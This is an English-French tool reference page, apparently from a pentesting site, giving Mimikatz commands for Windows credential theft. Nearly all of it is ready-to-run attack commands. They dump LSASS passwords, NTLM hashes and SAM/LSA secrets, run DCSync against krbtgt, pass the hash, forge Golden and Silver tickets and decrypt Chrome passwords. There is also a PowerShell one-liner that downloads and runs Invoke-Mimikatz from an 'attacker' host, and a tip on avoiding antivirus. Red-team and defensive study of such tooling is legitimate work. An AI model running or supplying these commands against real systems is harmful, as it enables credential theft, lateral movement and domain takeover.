← retour aux outils back to tools

# Mimikatz

Outil d'extraction d'identifiants Windows. Dump la mémoire LSASS pour les mots de passe en clair, les hachages NTLM, les tickets Kerberos et les secrets SAM/DPAPI/LSA. Windows credential extraction tool. Dumps LSASS memory for plaintext passwords, NTLM hashes, Kerberos tickets, and secrets from SAM/DPAPI/LSA.

↗ https://github.com/gentilkiwi/mimikatz

## Overview

Mimikatz is the primary tool for Windows credential extraction. It extracts credentials from LSASS memory, SAM, DPAPI, and Kerberos, enabling pass-the-hash, pass-the-ticket, and Golden/Silver Ticket attacks. Requires elevated privileges (SeDebugPrivilege or SYSTEM).

## Basic Setup

    # Run as Administrator in a mimikatz prompt
    mimikatz.exe

    # Enable required privileges
    mimikatz # privilege::debug

    # Check privilege
    mimikatz # !+

## Credential Dumping

    # Dump logon passwords (plaintext on older Windows / WDigest enabled)
    sekurlsa::logonpasswords

    # Dump NTLM hashes only
    sekurlsa::msv

    # Dump Kerberos tickets
    sekurlsa::tickets

    # Dump from LSASS minidump (run remotely)
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonpasswords

    # SAM database dump
    lsadump::sam
    lsadump::sam /system:SYSTEM /sam:SAM    # Offline from registry hives

    # LSA secrets
    lsadump::secrets

    # Domain cached credentials (DCC2)
    lsadump::cache

    # DCSync — replicate credentials from DC without code on DC
    lsadump::dcsync /domain:domain.local /user:krbtgt
    lsadump::dcsync /domain:domain.local /all /csv

## Pass-the-Hash

    # Open a new process with stolen hash
    sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

    # Domain user
    sekurlsa::pth /user:jdoe /domain:domain.local /ntlm:HASH /run:powershell.exe

## Kerberos Ticket Attacks

    # Export all Kerberos tickets to disk
    kerberos::list /export

    # Import a ticket (.kirbi)
    kerberos::ptt ticket.kirbi

    # Golden Ticket (requires krbtgt hash)
    kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator

    # Silver Ticket (service ticket, requires service account hash)
    kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local \
      /service:cifs /rc4:HASH /user:Administrator

    # Purge tickets
    kerberos::purge

## DPAPI (Data Protection API)

    # Dump browser passwords / secrets
    dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

    # Dump DPAPI masterkeys
    dpapi::masterkey /in:masterkey /rpc

    # Decrypt a DPAPI blob
    dpapi::blob /in:blob.bin /masterkey:MASTERKEY_HEX

## Running Without Dropping to Disk

    # PowerShell one-liner (load from memory)
    IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
    Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

    # From Cobalt Strike / C2: `mimikatz` or `hashdump`

## Tips

- Windows 8.1+ with KB2871997 disables WDigest by default — no plaintext creds in LSASS
- LSASS minidump (via Task Manager > Create Dump / ProcDump) can be analyzed offline to avoid AV
- `sekurlsa::logonpasswords` requires SeDebugPrivilege (`privilege::debug` must succeed)
- DCSync requires Replicating Directory Changes / Replicating Directory Changes All rights

Key modules reference

    privilege::debug          Enable SeDebugPrivilege
    privilege::nt             Enable SeCreateTokenPrivilege

    sekurlsa::logonpasswords  All logon sessions credentials
    sekurlsa::msv             NTLM hashes
    sekurlsa::kerberos        Kerberos credentials
    sekurlsa::tickets         Kerberos tickets
    sekurlsa::wdigest         WDigest (plaintext)
    sekurlsa::pth             Pass-the-hash
    sekurlsa::minidump        Load LSASS dump file

    lsadump::sam              SAM database
    lsadump::secrets          LSA secrets
    lsadump::cache            Cached domain credentials
    lsadump::dcsync           DCSync attack
    lsadump::lsa              LSA process dump

    kerberos::list            List tickets
    kerberos::ptt             Pass-the-ticket (import)
    kerberos::golden          Golden/Silver ticket creation
    kerberos::purge           Remove tickets

    dpapi::chrome             Browser credentials
    dpapi::blob               Decrypt DPAPI blob

## Vue d’ensemble

Mimikatz est l’outil principal pour l’extraction d’identifiants Windows. Il extrait les identifiants depuis la mémoire LSASS, la SAM, DPAPI et Kerberos, permettant les attaques pass-the-hash, pass-the-ticket et Golden/Silver Ticket. Nécessite des privilèges élevés (SeDebugPrivilege ou SYSTEM).

## Configuration de base

    # Exécuter en tant qu'administrateur dans une invite mimikatz
    mimikatz.exe

    # Activer les privilèges requis
    mimikatz # privilege::debug

    # Vérifier le privilège
    mimikatz # !+

## Extraction d’identifiants

    # Dump des mots de passe de connexion (en clair sur les anciens Windows / si WDigest activé)
    sekurlsa::logonpasswords

    # Dump des hachages NTLM uniquement
    sekurlsa::msv

    # Dump des tickets Kerberos
    sekurlsa::tickets

    # Dump depuis un minidump LSASS (exécuté à distance)
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonpasswords

    # Dump de la base SAM
    lsadump::sam
    lsadump::sam /system:SYSTEM /sam:SAM    # Hors ligne depuis les ruches du registre

    # Secrets LSA
    lsadump::secrets

    # Identifiants de cache de domaine (DCC2)
    lsadump::cache

    # DCSync : réplique les identifiants depuis le DC sans exécuter de code sur le DC
    lsadump::dcsync /domain:domain.local /user:krbtgt
    lsadump::dcsync /domain:domain.local /all /csv

## Pass-the-Hash

    # Ouvrir un nouveau processus avec le hachage volé
    sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

    # Utilisateur de domaine
    sekurlsa::pth /user:jdoe /domain:domain.local /ntlm:HASH /run:powershell.exe

## Attaques par ticket Kerberos

    # Exporter tous les tickets Kerberos sur le disque
    kerberos::list /export

    # Importer un ticket (.kirbi)
    kerberos::ptt ticket.kirbi

    # Golden Ticket (nécessite le hachage krbtgt)
    kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator

    # Silver Ticket (ticket de service, nécessite le hachage du compte de service)
    kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local \
      /service:cifs /rc4:HASH /user:Administrator

    # Purger les tickets
    kerberos::purge

## DPAPI (Data Protection API)

    # Dump des mots de passe / secrets de navigateur
    dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

    # Dump des masterkeys DPAPI
    dpapi::masterkey /in:masterkey /rpc

    # Déchiffrer un blob DPAPI
    dpapi::blob /in:blob.bin /masterkey:MASTERKEY_HEX

## Exécution sans écriture sur disque

    # One-liner PowerShell (chargement depuis la mémoire)
    IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
    Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

    # Depuis Cobalt Strike / C2 : `mimikatz` ou `hashdump`

## Conseils

- Windows 8.1+ avec KB2871997 désactive WDigest par défaut : pas d’identifiants en clair dans LSASS
- Un minidump LSASS (via Gestionnaire des tâches > Créer un fichier de vidage / ProcDump) peut être analysé hors ligne pour éviter l’AV
- `sekurlsa::logonpasswords` nécessite SeDebugPrivilege (`privilege::debug` doit réussir)
- DCSync nécessite les droits Replicating Directory Changes / Replicating Directory Changes All

Référence des modules clés

    privilege::debug          Enable SeDebugPrivilege
    privilege::nt             Enable SeCreateTokenPrivilege

    sekurlsa::logonpasswords  All logon sessions credentials
    sekurlsa::msv             NTLM hashes
    sekurlsa::kerberos        Kerberos credentials
    sekurlsa::tickets         Kerberos tickets
    sekurlsa::wdigest         WDigest (plaintext)
    sekurlsa::pth             Pass-the-hash
    sekurlsa::minidump        Load LSASS dump file

    lsadump::sam              SAM database
    lsadump::secrets          LSA secrets
    lsadump::cache            Cached domain credentials
    lsadump::dcsync           DCSync attack
    lsadump::lsa              LSA process dump

    kerberos::list            List tickets
    kerberos::ptt             Pass-the-ticket (import)
    kerberos::golden          Golden/Silver ticket creation
    kerberos::purge           Remove tickets

    dpapi::chrome             Browser credentials
    dpapi::blob               Decrypt DPAPI blob